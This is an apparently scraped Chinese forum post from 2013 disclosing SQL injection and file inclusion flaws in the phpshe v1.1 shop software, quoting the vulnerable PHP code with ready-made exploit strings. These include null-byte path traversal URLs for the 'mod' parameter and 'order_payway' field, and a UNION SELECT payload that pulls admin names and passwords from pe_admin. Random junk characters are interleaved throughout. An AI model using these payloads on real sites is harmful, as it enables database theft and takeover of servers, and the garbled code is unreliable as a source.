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标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/, U! a" C! F# h7 o
/* Phpshe v1.1 Vulnerability
% [/ I0 S' h. h: V$ f/* ========================
! j, Q' E: ~3 K: c3 Y  a6 u7 A/* By: : Kn1f3
3 U! i9 }- Y0 p; f. x1 c+ V1 t$ {/* E-Mail : 681796@qq.com- a) O. }1 N/ f& C' _
/*******************************************************/
9 o  f6 f8 |/ @$ e3 f2 c1 Q$ G2 T+ ~9 j0×00 整体大概参数传输
2 @5 y. I' T3 N7 u: {* {
  I2 `" v. S# T  z  f! R8 ~
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//common.php" r4 M3 c$ h4 K+ s/ n& I) n
if (get_magic_quotes_gpc()) {
7 b+ E0 P. O# x* s7 W!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
( ^6 g/ u2 g6 W! r" R!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');+ o; c( o% h* ?/ s: F
}
/ z" @7 u2 S( Q* M& Y7 welse {' h8 M$ {$ m# e7 Z; ^/ y$ S
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ \! m0 B; x( K' w  y0 H# x. C2 _!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
! }% {7 y% P# x}; T$ Z% n# D4 g! J1 `
session_start();
" m2 N" K# _8 Q7 B!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');( g+ y  ]. b: W4 S$ c& X0 }
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
* ]" G8 G7 x& [
2 F( M/ t" D4 r" E& T0 X0×01 包含漏洞
  @8 P5 l) {% g- |3 C8 J' G
7 s2 z6 d* `1 E5 P9 Q2 q6 P* \: `
: k2 q" y) }; o# C; V9 {% J//首页文件
- `( u# h9 H; p$ a' w<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
, @7 y  q( f! binclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞! e  y8 v: V# K; }; v& W) @
pe_result();) V5 V3 V, e3 {. U4 @
?>
- y& h0 S3 i5 T/ }1 f, Q+ O//common 文件 第15行开始% u) O( v5 Z2 \
url路由配置
  h: H# g2 Y  m+ d$module = $mod = $act = 'index';. o; w# t3 G7 r/ ~0 a% Y  H) j
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
7 `$ O) Q/ ]& Z" [& g3 E6 ^$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
: F2 }4 A4 H; M/ x; s: C' T$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);" |5 c6 c( j) k
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%003 T$ j* v( c, E, E' S# h' [8 h9 c% H  I


$ H: N7 y, p# F1 M0 r5 U " b4 g' O) U+ Q
0×02 搜索注入
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<code id="code2">

//product.php文件
! Q8 h8 y4 s+ n3 h2 m$ W9 Ccase 'list':
. {/ \4 N' t7 j$category_id = intval($id);
/ G4 l& S4 h4 l$info = $db->pe_select('category', array('category_id'=>$category_id));
$ S( U. X: l+ I- b//搜索
' O2 n1 w5 x" h' d' b- L! a$sqlwhere = " and `product_state` = 1";
" O- d) C& n' ?7 M; G+ b; i+ {pe_lead('hook/category.hook.php');/ T3 J" {: y# _* E, i
if ($category_id) {
; j- T9 @1 e; Wwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ H& ~( ]3 ?3 F}
, @6 T0 M9 E1 y3 \( z. T5 n2 |5 u$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤4 x2 b2 ]* o/ v4 G& M1 Z; R, u% \
if ($_g_orderby) {
" P$ t3 H# v! M5 X2 L6 `4 j4 n$orderby = explode('_', $_g_orderby);
! `) n$ y) C/ f& f9 K6 k$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! W2 a' T) c# ~" p8 v- ^}
3 D2 z9 `, I. a/ f4 aelse {
5 J( [0 H/ d3 z% j2 r8 e$sqlwhere .= " order by `product_id` desc";+ S: ?0 N9 M# P$ A% k
}
2 {2 R' a9 G  u0 h( o, A$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
) K2 U( z" s$ S! z//热卖排行9 _& o0 F- S8 d$ \
$product_hotlist = product_hotlist();: x8 A  f) e6 k; t- t! `9 T8 b  {
//当前路径$ q% d0 q0 j* r% G. t5 p! H/ k* s
$nowpath = category_path($category_id);
  _! l1 N% d6 A2 _$seo = pe_seo($info['category_name']);+ j: y8 E6 W8 a% B
include(pe_tpl('product_list.html'));# h$ R) I  W0 h
//跟进selectall函数库- d) q# O, ]& S) [0 ?! K' j
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())9 h0 w$ h5 E- E" t4 m+ \- E; ^- }
{
  F+ e' n! ~7 G! U# ]//处理条件语句, d9 M5 _3 I* z! I9 o8 b7 u
$sqlwhere = $this->_dowhere($where);
" e+ E  F' J/ {$ q; Kreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
2 ~7 i( e& l! S  I3 f9 n}
, E- _' \  V& q# y0 r0 @3 L8 k//exp
  j0 @3 {/ S7 L0 U; m" o3 K, @product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
0 d0 y" A6 F& R. }7 }6 J

</code>! ^# p: y" p" f1 E- l5 ^

  q- v7 t$ Z: o) N& @/ s7 }& ?0×03 包含漏洞2' }6 z' Z! z% t4 \& D

2 M' D! P! ^! L" d<code id="code3">

//order.php

case 'pay':


+ ^% d) ^% Q& ?0 V' D8 s  E$order_id = pe_dbhold($_g_id);

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$cache_payway = cache::get('payway');

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foreach($cache_payway as $k => $v) {

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$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


4 v) A# w* _$ z# ]  }2 Q! Gif ($k == 'bank') {

/ f3 n. d0 @) W' x. h) x# }
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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}

; ^! h9 T: k! U. h. G# o
}

; I* b2 x. Z6 [+ Y, ?; M
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


0 @8 \+ Q1 s- `  P6 y- E!$order['order_id'] && pe_error('订单号错误...');


3 @" j' j2 q+ oif (isset($_p_pesubmit)) {


+ S8 V, ~4 ?; w6 \4 Aif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

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$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


& v  u& @9 f; P, \! xforeach ($info_list as $v) {

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$order['order_name'] .= "{$v['product_name']};";
, Z; _2 Y& F$ B6 W

, B9 m# u8 x- y0 E4 v* }) l
}


/ @; j) ~. Z- A3 ^5 A' A4 gecho '正在为您连接支付网站，请稍后...';


- B( m. B" v0 ^; Pinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

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}//当一切准备好的时候就可以进行"鸡肋包含了"

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else {

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pe_error('支付错误...');

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}


2 [* w/ ]( [9 K2 r6 x( |/ T}


( x1 l0 M) F! `  J. h3 b" c$seo = pe_seo('选择支付方式');

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include(pe_tpl('order_pay.html'));

1 @8 {9 x, }9 ?
break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code># A9 s9 g( A3 [9 b% c
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg



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